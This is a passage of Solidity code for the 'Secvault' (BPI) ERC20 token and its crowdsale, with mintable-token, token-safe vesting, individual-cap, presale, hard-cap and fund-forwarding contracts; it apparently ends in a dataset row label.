group.balances[_account] = group.balances[_account].plus(_balance);
group.remaining = group.remaining.plus(_balance);
}
function release(uint8 _id, address _account) public {
Group storage group = groups[_id];
require(now >= group.releaseTimestamp);
uint tokens = group.balances[_account];
require(tokens > 0);
group.balances[_account] = 0;
group.remaining = group.remaining.minus(tokens);
if (!token.transfer(_account, tokens)) {
revert();
}
}
}
contract StandardToken is ERC20Token {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
constructor(string _name, string _symbol, uint8 _decimals) internal {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function balanceOf(address _address) public view returns (uint256 balance) {
return balances[_address];
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
executeTransfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].minus(_value);
executeTransfer(_from, _to, _value);
return true;
}
function executeTransfer(address _from, address _to, uint256 _value) internal {
require(_to != address(0));
require(_value != 0 && _value <= balances[_from]);
balances[_from] = balances[_from].minus(_value);
balances[_to] = balances[_to].plus(_value);
emit Transfer(_from, _to, _value);
}
}
contract MintableToken is StandardToken {
address public minter;
bool public mintingDisabled = false;
event MintingDisabled();
modifier canMint() {
require(!mintingDisabled);
_;
}
modifier onlyMinter() {
require(msg.sender == minter);
_;
}
constructor(address _minter) internal {
minter = _minter;
}
function mint(address _to, uint256 _value) onlyMinter canMint public {
totalSupply = totalSupply.plus(_value);
balances[_to] = balances[_to].plus(_value);
emit Transfer(0x0, _to, _value);
}
function disableMinting() onlyMinter canMint public {
mintingDisabled = true;
emit MintingDisabled();
}
}
contract HasOwner {
address public owner;
address public newOwner;
constructor(address _owner) public {
owner = _owner;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
event OwnershipTransfer(address indexed _oldOwner, address indexed _newOwner);
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransfer(owner, newOwner);
owner = newOwner;
}
}
contract AbstractFundraiser {
ERC20Token public token;
event FundsReceived(address indexed _address, uint _ethers, uint _tokens);
function initializeFundraiserToken(address _token) internal
{
token = ERC20Token(_token);
}
function() public payable {
receiveFunds(msg.sender, msg.value);
}
function getConversionRate() public view returns (uint256);
function hasEnded() public view returns (bool);
function receiveFunds(address _address, uint256 _amount) internal;
function validateTransaction() internal view;
function handleTokens(address _address, uint256 _tokens) internal;
function handleFunds(address _address, uint256 _ethers) internal;
}
contract BasicFundraiser is HasOwner, AbstractFundraiser {
using SafeMath for uint256;
uint8 constant DECIMALS = 18;
uint256 constant DECIMALS_FACTOR = 10 ** uint256(DECIMALS);
uint256 public startTime;
uint256 public endTime;
address public beneficiary;
uint256 public conversionRate;
uint256 public totalRaised;
event ConversionRateChanged(uint _conversionRate);
function initializeBasicFundraiser(
uint256 _startTime,
uint256 _endTime,
uint256 _conversionRate,
address _beneficiary
)
internal
{
require(_endTime >= _startTime);
require(_conversionRate > 0);
require(_beneficiary != address(0));
startTime = _startTime;
endTime = _endTime;
conversionRate = _conversionRate;
beneficiary = _beneficiary;
}
function setConversionRate(uint256 _conversionRate) public onlyOwner {
require(_conversionRate > 0);
conversionRate = _conversionRate;
emit ConversionRateChanged(_conversionRate);
}
function setBeneficiary(address _beneficiary) public onlyOwner {
require(_beneficiary != address(0));
beneficiary = _beneficiary;
}
function receiveFunds(address _address, uint256 _amount) internal {
validateTransaction();
uint256 tokens = calculateTokens(_amount);
require(tokens > 0);
totalRaised = totalRaised.plus(_amount);
handleTokens(_address, tokens);
handleFunds(_address, _amount);
emit FundsReceived(_address, msg.value, tokens);
}
function getConversionRate() public view returns (uint256) {
return conversionRate;
}
function calculateTokens(uint256 _amount) internal view returns(uint256 tokens) {
tokens = _amount.mul(getConversionRate());
}
function validateTransaction() internal view {
require(msg.value != 0);
require(now >= startTime && now < endTime);
}
function hasEnded() public view returns (bool) {
return now >= endTime;
}
}
contract StandardMintableToken is MintableToken {
constructor(address _minter, string _name, string _symbol, uint8 _decimals)
StandardToken(_name, _symbol, _decimals)
MintableToken(_minter)
public
{
}
}
contract MintableTokenFundraiser is BasicFundraiser {
function initializeMintableTokenFundraiser(string _name, string _symbol, uint8 _decimals) internal {
token = new StandardMintableToken(
address(this),
_name,
_symbol,
_decimals
);
}
function handleTokens(address _address, uint256 _tokens) internal {
MintableToken(token).mint(_address, _tokens);
}
}
contract IndividualCapsFundraiser is BasicFundraiser {
uint256 public individualMinCap;
uint256 public individualMaxCap;
uint256 public individualMaxCapTokens;
event IndividualMinCapChanged(uint256 _individualMinCap);
event IndividualMaxCapTokensChanged(uint256 _individualMaxCapTokens);
function initializeIndividualCapsFundraiser(uint256 _individualMinCap, uint256 _individualMaxCap) internal {
individualMinCap = _individualMinCap;
individualMaxCap = _individualMaxCap;
individualMaxCapTokens = _individualMaxCap * conversionRate;
}
function setConversionRate(uint256 _conversionRate) public onlyOwner {
super.setConversionRate(_conversionRate);
if (individualMaxCap == 0) {
return;
}
individualMaxCapTokens = individualMaxCap * _conversionRate;
emit IndividualMaxCapTokensChanged(individualMaxCapTokens);
}
function setIndividualMinCap(uint256 _individualMinCap) public onlyOwner {
individualMinCap = _individualMinCap;
emit IndividualMinCapChanged(individualMinCap);
}
function setIndividualMaxCap(uint256 _individualMaxCap) public onlyOwner {
individualMaxCap = _individualMaxCap;
individualMaxCapTokens = _individualMaxCap * conversionRate;
emit IndividualMaxCapTokensChanged(individualMaxCapTokens);
}
function validateTransaction() internal view {
super.validateTransaction();
require(msg.value >= individualMinCap);
}
function handleTokens(address _address, uint256 _tokens) internal {
require(individualMaxCapTokens == 0 || token.balanceOf(_address).plus(_tokens) <= individualMaxCapTokens);
super.handleTokens(_address, _tokens);
}
}
contract GasPriceLimitFundraiser is HasOwner, BasicFundraiser {
uint256 public gasPriceLimit;
event GasPriceLimitChanged(uint256 gasPriceLimit);
function initializeGasPriceLimitFundraiser(uint256 _gasPriceLimit) internal {
gasPriceLimit = _gasPriceLimit;
}
function changeGasPriceLimit(uint256 _gasPriceLimit) onlyOwner() public {
gasPriceLimit = _gasPriceLimit;
emit GasPriceLimitChanged(_gasPriceLimit);
}
function validateTransaction() internal view {
require(gasPriceLimit == 0 || tx.gasprice <= gasPriceLimit);
return super.validateTransaction();
}
}
contract CappedFundraiser is BasicFundraiser {
uint256 public hardCap;
function initializeCappedFundraiser(uint256 _hardCap) internal {
require(_hardCap > 0);
hardCap = _hardCap;
}
function validateTransaction() internal view {
super.validateTransaction();
require(totalRaised < hardCap);
}
function hasEnded() public view returns (bool) {
return (super.hasEnded() || totalRaised >= hardCap);
}
}
contract ForwardFundsFundraiser is BasicFundraiser {
function handleFunds(address, uint256 _ethers) internal {
beneficiary.transfer(_ethers);
}
}
contract PresaleFundraiser is MintableTokenFundraiser {
uint256 public presaleSupply;
uint256 public presaleMaxSupply;
uint256 public presaleStartTime;
uint256 public presaleEndTime;
uint256 public presaleConversionRate;
function initializePresaleFundraiser(
uint256 _presaleMaxSupply,
uint256 _startTime,
uint256 _endTime,
uint256 _conversionRate
)
internal
{
require(_endTime >= _startTime);
require(_conversionRate > 0);
presaleMaxSupply = _presaleMaxSupply;
presaleStartTime = _startTime;
presaleEndTime = _endTime;
presaleConversionRate = _conversionRate;
}
function isPresaleActive() internal view returns (bool) {
return now < presaleEndTime && now >= presaleStartTime;
}
function getConversionRate() public view returns (uint256) {
if (isPresaleActive()) {
return presaleConversionRate;
}
return super.getConversionRate();
}
function validateTransaction() internal view {
require(msg.value != 0);
require(now >= startTime && now < endTime || isPresaleActive());
}
function handleTokens(address _address, uint256 _tokens) internal {
if (isPresaleActive()) {
presaleSupply = presaleSupply.plus(_tokens);
require(presaleSupply <= presaleMaxSupply);
}
super.handleTokens(_address, _tokens);
}
}
contract SecvaultToken is MintableToken {
constructor(address _minter)
StandardToken(
"Secvault",
"BPI",
18
)
MintableToken(_minter)
public
{
}
}
contract SecvaultTokenSafe is TokenSafe {
constructor(address _token)
TokenSafe(_token)
public
{
init(
1,
1542261600
);
add(
1,
0xE95767DF573778366C3b8cE79DA89C692A384d63,
42000000000000000000000000
);
init(
2,
1540141200
);
add(
2,
0x089B79da930C8210C825E2379518311ecD9d9f39,
24500000000000000000000000
);
init(
3,
1540141200
);
add(
3,
0x82c7DEf4F7eEA9a8FF6aD7ca72025f3E20C151D4,
129500000000000000000000000
);
}
}
contract SecvaultTokenFundraiser is MintableTokenFundraiser, PresaleFundraiser, IndividualCapsFundraiser, CappedFundraiser, ForwardFundsFundraiser, GasPriceLimitFundraiser {
SecvaultTokenSafe public tokenSafe;
constructor()
HasOwner(msg.sender)
public
{
token = new SecvaultToken(
address(this)
);
tokenSafe = new SecvaultTokenSafe(token);
MintableToken(token).mint(address(tokenSafe), 196000000000000000000000000);
initializeBasicFundraiser(
1547100000,
1549821600,
600,
0xE95767DF573778366C3b8cE79DA89C692A384d63
);
initializeIndividualCapsFundraiser(
(0.5 ether),
(0 ether)
);
initializeGasPriceLimitFundraiser(
0
);
initializePresaleFundraiser(
28000000000000000000000000,
1540141200,
1543168800,
900
);
initializeCappedFundraiser(
(280000 ether)
);
}
} | 0 |